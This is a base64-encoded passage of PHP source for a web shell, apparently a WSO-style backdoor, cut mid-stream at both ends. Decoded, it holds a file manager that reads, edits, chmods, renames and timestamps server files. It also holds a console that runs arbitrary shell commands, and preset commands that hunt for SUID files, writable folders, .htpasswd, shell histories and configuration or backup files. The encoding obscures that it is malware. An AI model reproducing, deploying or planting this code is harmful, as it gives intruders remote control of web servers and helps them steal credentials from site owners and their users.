mlsZV9leGlzdHMoQCRfUE9TVFsncDEnXSkgKSB7CgkJZWNobyAnRmlsZSBub3QgZXhpc3RzJzsKCQloYXJkRm9vdGVyKCk7CgkJcmV0dXJuOwoJfQoJJHVpZCA9IEBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRfUE9TVFsncDEnXSkpOwoJaWYoISR1aWQpIHsKCQkkdWlkWyduYW1lJ10gPSBAZmlsZW93bmVyKCRfUE9TVFsncDEnXSk7CgkJJGdpZFsnbmFtZSddID0gQGZpbGVncm91cCgkX1BPU1RbJ3AxJ10pOwoJfSBlbHNlICRnaWQgPSBAcG9zaXhfZ2V0Z3JnaWQoQGZpbGVncm91cCgkX1BPU1RbJ3AxJ10pKTsKCWVjaG8gJzxzcGFuPk5hbWU6PC9zcGFuPiAnLmh0bWxzcGVjaWFsY2hhcnMoQGJhc2VuYW1lKCRfUE9TVFsncDEnXSkpLicgPHNwYW4+U2l6ZTo8L3NwYW4+ICcuKGlzX2ZpbGUoJF9QT1NUWydwMSddKT92aWV3U2l6ZShmaWxlc2l6ZSgkX1BPU1RbJ3AxJ10pKTonLScpLicgPHNwYW4+UGVybWlzc2lvbjo8L3NwYW4+ICcudmlld1Blcm1zQ29sb3IoJF9QT1NUWydwMSddKS4nIDxzcGFuPk93bmVyL0dyb3VwOjwvc3Bhbj4gJy4kdWlkWyduYW1lJ10uJy8nLiRnaWRbJ25hbWUnXS4nPGJyPic7CgllY2hvICc8c3Bhbj5DcmVhdGUgdGltZTo8L3NwYW4+ICcuZGF0ZSgnWS1tLWQgSDppOnMnLGZpbGVjdGltZSgkX1BPU1RbJ3AxJ10pKS4nIDxzcGFuPkFjY2VzcyB0aW1lOjwvc3Bhbj4gJy5kYXRlKCdZLW0tZCBIOmk6cycsZmlsZWF0aW1lKCRfUE9TVFsncDEnXSkpLicgPHNwYW4+TW9kaWZ5IHRpbWU6PC9zcGFuPiAnLmRhdGUoJ1ktbS1kIEg6aTpzJyxmaWxlbXRpbWUoJF9QT1NUWydwMSddKSkuJzxicj48YnI+JzsKCWlmKCBlbXB0eSgkX1BPU1RbJ3AyJ10pICkKCQkkX1BPU1RbJ3AyJ10gPSAndmlldyc7CglpZiggaXNfZmlsZSgkX1BPU1RbJ3AxJ10pICkKCQkkbSA9IGFycmF5KCdWaWV3JywgJ0hpZ2hsaWdodCcsICdEb3dubG9hZCcsICdIZXhkdW1wJywgJ0VkaXQnLCAnQ2htb2QnLCAnUmVuYW1lJywgJ1RvdWNoJywgJ0ZyYW1lJyk7CgllbHNlCgkJJG0gPSBhcnJheSgnQ2htb2QnLCAnUmVuYW1lJywgJ1RvdWNoJyk7Cglmb3JlYWNoKCRtIGFzICR2KQoJCWVjaG8gJzxhIGhyZWY9IyBvbmNsaWNrPSJnKG51bGwsbnVsbCxcJycgLiB1cmxlbmNvZGUoJF9QT1NUWydwMSddKSAuICdcJyxcJycuc3RydG9sb3dlcigkdikuJ1wnKSI+Jy4oKHN0cnRvbG93ZXIoJHYpPT1AJF9QT1NUWydwMiddKT8nPGI+WyAnLiR2LicgXTwvYj4nOiR2KS4nPC9hPiAnOwoJZWNobyAnPGJyPjxicj4nOwoJc3dpdGNoKCRfUE9TVFsncDInXSkgewoJCWNhc2UgJ3ZpZXcnOgoJCQllY2hvICc8cHJlIGNsYXNzPW1sMT4nOwoJCQkkZnAgPSBAZm9wZW4oJF9QT1NUWydwMSddLCAncicpOwoJCQlpZigkZnApIHsKCQkJCXdoaWxlKCAhQGZlb2YoJGZwKSApCgkJCQkJZWNobyBodG1sc3BlY2lhbGNoYXJzKEBmcmVhZCgkZnAsIDEwMjQpKTsKCQkJCUBmY2xvc2UoJGZwKTsKCQkJfQoJCQllY2hvICc8L3ByZT4nOwoJCQlicmVhazsKCQljYXNlICdoaWdobGlnaHQnOgoJCQlpZiggQGlzX3JlYWRhYmxlKCRfUE9TVFsncDEnXSkgKSB7CgkJCQllY2hvICc8ZGl2IGNsYXNzPW1sMSBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UxZTFlMTtjb2xvcjpibGFjazsiPic7CgkJCQkkb1JiID0gQGhpZ2hsaWdodF9maWxlKCRfUE9TVFsncDEnXSx0cnVlKTsKCQkJCWVjaG8gc3RyX3JlcGxhY2UoYXJyYXkoJzxzcGFuICcsJzwvc3Bhbj4nKSwgYXJyYXkoJzxmb250ICcsJzwvZm9udD4nKSwkb1JiKS4nPC9kaXY+JzsKCQkJfQoJCQlicmVhazsKCQljYXNlICdjaG1vZCc6CgkJCWlmKCAhZW1wdHkoJF9QT1NUWydwMyddKSApIHsKCQkJCSRwZXJtcyA9IDA7CgkJCQlmb3IoJGk9c3RybGVuKCRfUE9TVFsncDMnXSktMTskaT49MDstLSRpKQoJCQkJCSRwZXJtcyArPSAoaW50KSRfUE9TVFsncDMnXVskaV0qcG93KDgsIChzdHJsZW4oJF9QT1NUWydwMyddKS0kaS0xKSk7CgkJCQlpZighQGNobW9kKCRfUE9TVFsncDEnXSwgJHBlcm1zKSkKCQkJCQllY2hvICdDYW5cJ3Qgc2V0IHBlcm1pc3Npb25zITxicj48c2NyaXB0PmRvY3VtZW50Lm1mLnAzLnZhbHVlPSIiOzwvc2NyaXB0Pic7CgkJCX0KCQkJY2xlYXJzdGF0Y2FjaGUoKTsKCQkJZWNobyAnPHNjcmlwdD5wM189IiI7PC9zY3JpcHQ+PGZvcm0gb25zdWJtaXQ9ImcobnVsbCxudWxsLFwnJyAuIHVybGVuY29kZSgkX1BPU1RbJ3AxJ10pIC4gJ1wnLG51bGwsdGhpcy5jaG1vZC52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWNobW9kIHZhbHVlPSInLnN1YnN0cihzcHJpbnRmKCclbycsIGZpbGVwZXJtcygkX1BPU1RbJ3AxJ10pKSwtNCkuJyI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSJzdWJtaXQiPjwvZm9ybT4nOwoJCQlicmVhazsKCQljYXNlICdlZGl0JzoKCQkJaWYoICFpc193cml0YWJsZSgkX1BPU1RbJ3AxJ10pKSB7CgkJCQllY2hvICdGaWxlIGlzblwndCB3cml0ZWFibGUnOwoJCQkJYnJlYWs7CgkJCX0KCQkJaWYoICFlbXB0eSgkX1BPU1RbJ3AzJ10pICkgewoJCQkJJHRpbWUgPSBAZmlsZW10aW1lKCRfUE9TVFsncDEnXSk7CgkJCQkkX1BPU1RbJ3AzJ10gPSBzdWJzdHIoJF9QT1NUWydwMyddLDEpOwoJCQkJJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwidyIpOwoJCQkJaWYoJGZwKSB7CgkJCQkJQGZ3cml0ZSgkZnAsJF9QT1NUWydwMyddKTsKCQkJCQlAZmNsb3NlKCRmcCk7CgkJCQkJZWNobyAnU2F2ZWQhPGJyPjxzY3JpcHQ+cDNfPSIiOzwvc2NyaXB0Pic7CgkJCQkJQHRvdWNoKCRfUE9TVFsncDEnXSwkdGltZSwkdGltZSk7CgkJCQl9CgkJCX0KCQkJZWNobyAnPGZvcm0gb25zdWJtaXQ9ImcobnVsbCxudWxsLFwnJyAuIHVybGVuY29kZSgkX1BPU1RbJ3AxJ10pIC4gJ1wnLG51bGwsXCcxXCcrdGhpcy50ZXh0LnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48dGV4dGFyZWEgbmFtZT10ZXh0IGNsYXNzPWJpZ2FyZWE+JzsKCQkJJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwgJ3InKTsKCQkJaWYoJGZwKSB7CgkJCQl3aGlsZSggIUBmZW9mKCRmcCkgKQoJCQkJCWVjaG8gaHRtbHNwZWNpYWxjaGFycyhAZnJlYWQoJGZwLCAxMDI0KSk7CgkJCQlAZmNsb3NlKCRmcCk7CgkJCX0KCQkJZWNobyAnPC90ZXh0YXJlYT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9InN1Ym1pdCI+PC9mb3JtPic7CgkJCWJyZWFrOwoJCWNhc2UgJ2hleGR1bXAnOgoJCQkkYyA9IEBmaWxlX2dldF9jb250ZW50cygkX1BPU1RbJ3AxJ10pOwoJCQkkbiA9IDA7CgkJCSRoID0gYXJyYXkoJzAwMDAwMDAwPGJyPicsJycsJycpOwoJCQkkbGVuID0gc3RybGVuKCRjKTsKCQkJZm9yICgkaT0wOyAkaTwkbGVuOyArKyRpKSB7CgkJCQkkaFsxXSAuPSBzcHJpbnRmKCclMDJYJyxvcmQoJGNbJGldKSkuJyAnOwoJCQkJc3dpdGNoICggb3JkKCRjWyRpXSkgKSB7CgkJCQkJY2FzZSAwOiAgJGhbMl0gLj0gJyAnOyBicmVhazsKCQkJCQljYXNlIDk6ICAkaFsyXSAuPSAnICc7IGJyZWFrOwoJCQkJCWNhc2UgMTA6ICRoWzJdIC49ICcgJzsgYnJlYWs7CgkJCQkJY2FzZSAxMzogJGhbMl0gLj0gJyAnOyBicmVhazsKCQkJCQlkZWZhdWx0OiAkaFsyXSAuPSAkY1skaV07IGJyZWFrOwoJCQkJfQoJCQkJJG4rKzsKCQkJCWlmICgkbiA9PSAzMikgewoJCQkJCSRuID0gMDsKCQkJCQlpZiAoJGkrMSA8ICRsZW4pIHskaFswXSAuPSBzcHJpbnRmKCclMDhYJywkaSsxKS4nPGJyPic7fQoJCQkJCSRoWzFdIC49ICc8YnI+JzsKCQkJCQkkaFsyXSAuPSAiXG4iOwoJCQkJfQoJCSAJfQoJCQllY2hvICc8dGFibGUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz01IGJnY29sb3I9IzIyMj48dHI+PHRkIGJnY29sb3I9IzIwMjgzMj48c3BhbiBzdHlsZT0iZm9udC13ZWlnaHQ6IG5vcm1hbDsiPjxwcmU+Jy4kaFswXS4nPC9wcmU+PC9zcGFuPjwvdGQ+PHRkIGJnY29sb3I9IzA2MGExMD48cHJlPicuJGhbMV0uJzwvcHJlPjwvdGQ+PHRkIGJnY29sb3I9IzIwMjgzMj48cHJlPicuaHRtbHNwZWNpYWxjaGFycygkaFsyXSkuJzwvcHJlPjwvdGQ+PC90cj48L3RhYmxlPic7CgkJCWJyZWFrOwoJCWNhc2UgJ3JlbmFtZSc6CgkJCWlmKCAhZW1wdHkoJF9QT1NUWydwMyddKSApIHsKCQkJCWlmKCFAcmVuYW1lKCRfUE9TVFsncDEnXSwgJF9QT1NUWydwMyddKSkKCQkJCQllY2hvICdDYW5cJ3QgcmVuYW1lITxicj4nOwoJCQkJZWxzZQoJCQkJCWRpZSgnPHNjcmlwdD5nKG51bGwsbnVsbCwiJy51cmxlbmNvZGUoJF9QT1NUWydwMyddKS4nIixudWxsLCIiKTwvc2NyaXB0PicpOwoJCQl9CgkJCWVjaG8gJzxmb3JtIG9uc3VibWl0PSJnKG51bGwsbnVsbCxcJycgLiB1cmxlbmNvZGUoJF9QT1NUWydwMSddKSAuICdcJyxudWxsLHRoaXMubmFtZS52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPW5hbWUgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AxJ10pLiciPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0ic3VibWl0Ij48L2Zvcm0+JzsKCQkJYnJlYWs7CgkJY2FzZSAndG91Y2gnOgoJCQlpZiggIWVtcHR5KCRfUE9TVFsncDMnXSkgKSB7CgkJCQkkdGltZSA9IHN0cnRvdGltZSgkX1BPU1RbJ3AzJ10pOwoJCQkJaWYoJHRpbWUpIHsKCQkJCQlpZighdG91Y2goJF9QT1NUWydwMSddLCR0aW1lLCR0aW1lKSkKCQkJCQkJZWNobyAnRmFpbCEnOwoJCQkJCWVsc2UKCQkJCQkJZWNobyAnVG91Y2hlZCEnOwoJCQkJfSBlbHNlIGVjaG8gJ0JhZCB0aW1lIGZvcm1hdCEnOwoJCQl9CgkJCWNsZWFyc3RhdGNhY2hlKCk7CgkJCWVjaG8gJzxzY3JpcHQ+cDNfPSIiOzwvc2NyaXB0Pjxmb3JtIG9uc3VibWl0PSJnKG51bGwsbnVsbCxcJycgLiB1cmxlbmNvZGUoJF9QT1NUWydwMSddKSAuICdcJyxudWxsLHRoaXMudG91Y2gudmFsdWUpO3JldHVybiBmYWxzZTsiPjxpbnB1dCB0eXBlPXRleHQgbmFtZT10b3VjaCB2YWx1ZT0iJy5kYXRlKCJZLW0tZCBIOmk6cyIsIEBmaWxlbXRpbWUoJF9QT1NUWydwMSddKSkuJyI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSJzdWJtaXQiPjwvZm9ybT4nOwoJCQlicmVhazsKCQkvKiAo0KEpIDEyLjIwMTUgbWl0cnl6ICovCgkJY2FzZSAnZnJhbWUnOgoJCQkkZnJhbWVTcmMgPSBzdWJzdHIoaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pLCBzdHJsZW4oaHRtbHNwZWNpYWxjaGFycygkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddKSkpOwoJCQlpZiAoJGZyYW1lU3JjWzBdICE9ICcvJykKCQkJCSRmcmFtZVNyYyA9ICcvJyAuICRmcmFtZVNyYzsKCQkJaWYgKCRmcmFtZVNyY1tzdHJsZW4oJGZyYW1lU3JjKSAtIDFdICE9ICcvJykKCQkJCSRmcmFtZVNyYyA9ICRmcmFtZVNyYyAuICcvJzsKCQkJJGZyYW1lU3JjID0gJGZyYW1lU3JjIC4gaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AxJ10pOwoJCQllY2hvICc8aWZyYW1lIHdpZHRoPSIxMDAlIiBoZWlnaHQ9IjkwMHB4IiBzY3JvbGxpbmc9Im5vIiBzcmM9Jy4kZnJhbWVTcmMuJyBvbmxvYWQ9Im9ubG9hZD1oZWlnaHQ9Y29udGVudERvY3VtZW50LmJvZHkuc2Nyb2xsSGVpZ2h0Ij48L2lmcmFtZT4nOwoJCQlicmVhazsKCX0KCWVjaG8gJzwvZGl2Pic7CgloYXJkRm9vdGVyKCk7Cn0KaWYoJG9zID09ICd3aW4nKQoJJGFsaWFzZXMgPSBhcnJheSgKCQkiTGlzdCBEaXJlY3RvcnkiID0+ICJkaXIiLAogICAgCSJGaW5kIGluZGV4LnBocCBpbiBjdXJyZW50IGRpciIgPT4gImRpciAvcyAvdyAvYiBpbmRleC5waHAiLAogICAgCSJGaW5kICpjb25maWcqLnBocCBpbiBjdXJyZW50IGRpciIgPT4gImRpciAvcyAvdyAvYiAqY29uZmlnKi5waHAiLAogICAgCSJTaG93IGFjdGl2ZSBjb25uZWN0aW9ucyIgPT4gIm5ldHN0YXQgLWFuIiwKICAgIAkiU2hvdyBydW5uaW5nIHNlcnZpY2VzIiA9PiAibmV0IHN0YXJ0IiwKICAgIAkiVXNlciBhY2NvdW50cyIgPT4gIm5ldCB1c2VyIiwKICAgIAkiU2hvdyBjb21wdXRlcnMiID0+ICJuZXQgdmlldyIsCgkJIkFSUCBUYWJsZSIgPT4gImFycCAtYSIsCgkJIklQIENvbmZpZ3VyYXRpb24iID0+ICJpcGNvbmZpZyAvYWxsIgoJKTsKZWxzZQoJJGFsaWFzZXMgPSBhcnJheSgKICAJCSJMaXN0IGRpciIgPT4gImxzIC1saGEiLAoJCSJsaXN0IGZpbGUgYXR0cmlidXRlcyBvbiBhIExpbnV4IHNlY29uZCBleHRlbmRlZCBmaWxlIHN5c3RlbSIgPT4gImxzYXR0ciAtdmEiLAogIAkJInNob3cgb3BlbmVkIHBvcnRzIiA9PiAibmV0c3RhdCAtYW4gfCBncmVwIC1pIGxpc3RlbiIsCiAgICAgICAgInByb2Nlc3Mgc3RhdHVzIiA9PiAicHMgYXV4IiwKCQkiRmluZCIgPT4gIiIsCiAgCQkiZmluZCBhbGwgc3VpZCBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1wZXJtIC0wNDAwMCAtbHMiLAogIAkJImZpbmQgc3VpZCBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1wZXJtIC0wNDAwMCAtbHMiLAogIAkJImZpbmQgYWxsIHNnaWQgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtcGVybSAtMDIwMDAgLWxzIiwKICAJCSJmaW5kIHNnaWQgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtcGVybSAtMDIwMDAgLWxzIiwKICAJCSJmaW5kIGNvbmZpZy5pbmMucGhwIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgY29uZmlnLmluYy5waHAiLAogIAkJImZpbmQgY29uZmlnKiBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1uYW1lIFwiY29uZmlnKlwiIiwKICAJCSJmaW5kIGNvbmZpZyogZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtbmFtZSBcImNvbmZpZypcIiIsCiAgCQkiZmluZCBhbGwgd3JpdGFibGUgZm9sZGVycyBhbmQgZmlsZXMiID0+ICJmaW5kIC8gLXBlcm0gLTIgLWxzIiwKICAJCSJmaW5kIGFsbCB3cml0YWJsZSBmb2xkZXJzIGFuZCBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtcGVybSAtMiAtbHMiLAogIAkJImZpbmQgYWxsIHNlcnZpY2UucHdkIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgc2VydmljZS5wd2QiLAogIAkJImZpbmQgc2VydmljZS5wd2QgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtbmFtZSBzZXJ2aWNlLnB3ZCIsCiAgCQkiZmluZCBhbGwgLmh0cGFzc3dkIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgLmh0cGFzc3dkIiwKICAJCSJmaW5kIC5odHBhc3N3ZCBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1uYW1lIC5odHBhc3N3ZCIsCiAgCQkiZmluZCBhbGwgLmJhc2hfaGlzdG9yeSBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1uYW1lIC5iYXNoX2hpc3RvcnkiLAogIAkJImZpbmQgLmJhc2hfaGlzdG9yeSBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1uYW1lIC5iYXNoX2hpc3RvcnkiLAogIAkJImZpbmQgYWxsIC5mZXRjaG1haWxyYyBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1uYW1lIC5mZXRjaG1haWxyYyIsCiAgCQkiZmluZCAuZmV0Y2htYWlscmMgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtbmFtZSAuZmV0Y2htYWlscmMiLAoJCSJMb2NhdGUiID0+ICIiLAogIAkJImxvY2F0ZSBodHRwZC5jb25mIGZpbGVzIiA9PiAibG9jYXRlIGh0dHBkLmNvbmYiLAoJCSJsb2NhdGUgdmhvc3RzLmNvbmYgZmlsZXMiID0+ICJsb2NhdGUgdmhvc3RzLmNvbmYiLAoJCSJsb2NhdGUgcHJvZnRwZC5jb25mIGZpbGVzIiA9PiAibG9jYXRlIHByb2Z0cGQuY29uZiIsCgkJImxvY2F0ZSBwc3libmMuY29uZiBmaWxlcyIgPT4gImxvY2F0ZSBwc3libmMuY29uZiIsCgkJImxvY2F0ZSBteS5jb25mIGZpbGVzIiA9PiAibG9jYXRlIG15LmNvbmYiLAoJCSJsb2NhdGUgYWRtaW4ucGhwIGZpbGVzIiA9PiJsb2NhdGUgYWRtaW4ucGhwIiwKCQkibG9jYXRlIGNmZy5waHAgZmlsZXMiID0+ICJsb2NhdGUgY2ZnLnBocCIsCgkJImxvY2F0ZSBjb25mLnBocCBmaWxlcyIgPT4gImxvY2F0ZSBjb25mLnBocCIsCgkJImxvY2F0ZSBjb25maWcuZGF0IGZpbGVzIiA9PiAibG9jYXRlIGNvbmZpZy5kYXQiLAoJCSJsb2NhdGUgY29uZmlnLnBocCBmaWxlcyIgPT4gImxvY2F0ZSBjb25maWcucGhwIiwKCQkibG9jYXRlIGNvbmZpZy5pbmMgZmlsZXMiID0+ICJsb2NhdGUgY29uZmlnLmluYyIsCgkJImxvY2F0ZSBjb25maWcuaW5jLnBocCIgPT4gImxvY2F0ZSBjb25maWcuaW5jLnBocCIsCgkJImxvY2F0ZSBjb25maWcuZGVmYXVsdC5waHAgZmlsZXMiID0+ICJsb2NhdGUgY29uZmlnLmRlZmF1bHQucGhwIiwKCQkibG9jYXRlIGNvbmZpZyogZmlsZXMgIiA9PiAibG9jYXRlIGNvbmZpZyIsCgkJImxvY2F0ZSAuY29uZiBmaWxlcyI9PiJsb2NhdGUgJy5jb25mJyIsCgkJImxvY2F0ZSAucHdkIGZpbGVzIiA9PiAibG9jYXRlICcucHdkJyIsCgkJImxvY2F0ZSAuc3FsIGZpbGVzIiA9PiAibG9jYXRlICcuc3FsJyIsCgkJImxvY2F0ZSAuaHRwYXNzd2QgZmlsZXMiID0+ICJsb2NhdGUgJy5odHBhc3N3ZCciLAoJCSJsb2NhdGUgLmJhc2hfaGlzdG9yeSBmaWxlcyIgPT4gImxvY2F0ZSAnLmJhc2hfaGlzdG9yeSciLAoJCSJsb2NhdGUgLm15c3FsX2hpc3RvcnkgZmlsZXMiID0+ICJsb2NhdGUgJy5teXNxbF9oaXN0b3J5JyIsCgkJImxvY2F0ZSAuZmV0Y2htYWlscmMgZmlsZXMiID0+ICJsb2NhdGUgJy5mZXRjaG1haWxyYyciLAoJCSJsb2NhdGUgYmFja3VwIGZpbGVzIiA9PiAibG9jYXRlIGJhY2t1cCIsCgkJImxvY2F0ZSBkdW1wIGZpbGVzIiA9PiAibG9jYXRlIGR1bXAiLAoJCSJsb2NhdGUgcHJpdiBmaWxlcyIgPT4gImxvY2F0ZSBwcml2IgoJKTsKZnVuY3Rpb24gYWN0aW9uQ29uc29sZSgpIHsKICAgIGlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pICYmICFlbXB0eSgkX1BPU1RbJ3AyJ10pKSB7CiAgICAgICAgcHJvdG90eXBlKG1kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidzdGRlcnJfdG9fb3V0JywgdHJ1ZSk7CiAgICAgICAgJF9QT1NUWydwMSddIC49ICcgMj4mMSc7CiAgICB9IGVsc2VpZighZW1wdHkoJF9QT1NUWydwMSddKSkKICAgICAgICBwcm90b3R5cGUobWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ3N0ZGVycl90b19vdXQnLCAwKTsKCWlmKGlzc2V0KCRfUE9TVFsnYWpheCddKSkgewoJCXByb3RvdHlwZShtZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCcsIHRydWUpOwoJCW9iX3N0YXJ0KCk7CgkJZWNobyAiZC5jZi5jbWQudmFsdWU9Jyc7XG4iOwoJCSR0ZW1wID0gQGljb252KCRfUE9TVFsnY2hhcnNldCddLCAnVVRGLTgnLCBhZGRjc2xhc2hlcygiXG4kICIuJF9QT1NUWydwMSddLiJcbiIuZXgoJF9QT1NUWydwMSddKSwiXG5cclx0XCdcMCIpKTsKCQlpZihwcmVnX21hdGNoKCIhLipjZFxzKyhbXjtdKykkISIsJF9QT1NUWydwMSddLCRtYXRjaCkpCXsKCQkJaWYoQGNoZGlyKCRtYXRjaFsxXSkpIHsKCQkJCSRHTE9CQUxTWydjd2QnXSA9IEBnZXRjd2QoKTsKCQkJCWVjaG8gImNfPSciLiRHTE9CQUxTWydjd2QnXS4iJzsiOwoJCQl9CgkJfQoJCWVjaG8gImQuY2Yub3V0cHV0LnZhbHVlKz0nIi4kdGVtcC4iJzsiOwoJCWVjaG8gImQuY2Yub3V0cHV0LnNjcm9sbFRvcCA9IGQuY2Yub3V0cHV0LnNjcm9sbEhlaWdodDsiOwoJCSR0ZW1wID0gb2JfZ2V0X2NsZWFuKCk7CgkJZWNobyBzdHJsZW4oJHRlbXApLCAiXG4iLCAkdGVtcDsKCQlleGl0OwoJfQogICAgaWYoZW1wdHkoJF9QT1NUWydhamF4J10pJiYhZW1wdHkoJF9QT1NUWydwMSddKSkKCQlwcm90b3R5cGUobWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnLCAwKTsKCWhhcmRIZWFkZXIoKTsKICAgIGVjaG8gIjxzY3JpcHQ+CmlmKHdpbmRvdy5FdmVudCkgd2luZG93LmNhcHR1cmVFdmVudHMoRXZlbnQuS0VZRE9XTik7CnZhciBjbWRzID0gbmV3IEFycmF5KCcnKTsKdmFyIGN1ciA9IDA7CmZ1bmN0aW9uIGtwKGUpIHsKCXZhciBuID0gKHdpbmRvdy5FdmVudCkgPyBlLndoaWNoIDogZS5rZXlDb2RlOwoJaWYobiA9PSAzOCkgewoJCWN1ci0tOwoJCWlmKGN1cj49MCkKCQkJZG9jdW1lbnQuY2YuY21kLnZhbHVlID0gY21kc1tjdXJdOwoJCWVsc2UKCQkJY3VyKys7Cgl9IGVsc2UgaWYobiA9PSA0MCkgewoJCWN1cisrOwoJCWlmKGN1ciA8IGNtZHMubGVuZ3RoKQoJCQlkb2N1bWVudC5jZi5jbWQudmFsdWUgPSBjbWRzW2N1cl07CgkJZWxzZQoJCQljdXItLTsKCX0KfQpmdW5jdGlvbiBhZGQoY21kKSB7CgljbWRzLnBvcCgpOwoJY21kcy5wdXNoKGNtZCk7CgljbWRzLnB1c2goJycpOwoJY3VyID0gY21kcy5sZW5ndGgtMTsKfQo8L3NjcmlwdD4iOwoJZWNobyAnPGgxPkNvbnNvbGU8L2gxPjxkaXYgY2xhc3M9Y29udGVudD48Zm9ybSBuYW1lPWNmIG9uc3VibWl0PSJpZihkLmNmLmNtZC52YWx1ZT09XCdjbGVhclwnKXtkLmNmLm91dHB1dC52YWx1ZT1cJ1wnO2QuY2YuY21kLnZhbHVlPVwnXCc7cmV0dXJuIGZhbHNlO31hZGQodGhpcy5jbWQudmFsdWUpO2lmKHRoaXMuYWpheC5jaGVja2VkKXthKG51bGwsbnVsbCx0aGlzLmNtZC52YWx1ZSx0aGlzLnNob3dfZXJyb3JzLmNoZWNrZWQ/MTpcJ1wnKTt9ZWxzZXtnKG51bGwsbnVsbCx0aGlzLmNtZC52YWx1ZSx0aGlzLnNob3dfZXJyb3JzLmNoZWNrZWQ/MTpcJ1wnKTt9IHJldHVybiBmYWxzZTsiPjxsYWJlbD48c2VsZWN0IG5hbWU9YWxpYXM+JzsKCWZvcmVhY2goJEdMT0JBTFNbJ2FsaWFzZXMnXSBhcyAkbiA9PiAkdikgewoJCWlmKCR2ID09ICcnKSB7CgkJCWVjaG8gJzxvcHRncm91cCBsYWJlbD0iLScuaHRtbHNwZWNpYWxjaGFycygkbikuJy0iPjwvb3B0Z3JvdXA+JzsKCQkJY29udGludWU7CgkJfQoJCWVjaG8gJzxvcHRpb24gdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkdikuJyI+Jy4kbi4nPC9vcHRpb24+JzsKCX0KCQoJZWNobyAnPC9zZWxlY3Q+PC9sYWJlbD48aW5wdXQgdHlwZT1idXR0b24gb25jbGljaz0iYWRkKGQuY2YuYWxpYXMudmFsdWUpO2lmKGQuY2YuYWpheC5jaGVja2VkKXthKG51bGwsbnVsbCxkLmNmLmFsaWFzLnZhbHVlLGQuY2Yuc2hvd19lcnJvcnMuY2hlY2tlZD8xOlwnXCcpO31lbHNle2cobnVsbCxudWxsLGQuY2YuYWxpYXMudmFsdWUsZC5jZi5zaG93X2Vycm9ycy5jaGVja2VkPzE6XCdcJyk7fSIgdmFsdWU9InN1Ym1pdCI+IDxub2JyPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9YWpheCB2YWx1ZT0xICcuKEAkX0NPT0tJRVttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddPydjaGVja2VkJzonJykuJz4gc2VuZCB1c2luZyBBSkFYIDxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9c2hvd19lcnJvcnMgdmFsdWU9MSAnLighZW1wdHkoJF9QT1NUWydwMiddKXx8JF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ3N0ZGVycl90b19vdXQnXT8nY2hlY2tlZCc6JycpLic+IHJlZGlyZWN0IHN0ZGVyciB0byBzdGRvdXQgKDI+JjEpPC9ub2JyPjxici8+PHRleHRhcmVhIGNsYXNzPWJpZ2FyZWEgbmFtZT1vdXRwdXQgc3R5bGU9ImJvcmRlci1ib3R0b206MDttYXJnaW4tdG9wOjVweDsiIHJlYWRvbmx5Pic7CglpZighZW1wdHkoJF9QT1NUWydwMSddKSkgewoJCWVjaG8gaHRtbHNwZWNpYWxjaGFycygiJCAiLiRfUE9TVFsncDEnXS4iXG4iLmV4KCRfUE9TVFsncDEnXSkpOwoJfQoJZWNobyAnPC90ZXh0YXJlYT48dGFibGUgc3R5bGU9ImJvcmRlcjoxcHggc29saWQgIzA2MGExMDtiYWNrZ3JvdW5kLWNvbG9yOiMwNjBhMTA7Ym9yZGVyLXRvcDowcHg7IiBjZWxscGFkZGluZz0wIGNlbGxzcGFjaW5nPTAgd2lkdGg9IjEwMCUiPjx0cj48dGQgc3R5bGU9InBhZGRpbmctbGVmdDo0cHg7IHdpZHRoOjEzcHg7Ij4kPC90ZD48dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWNt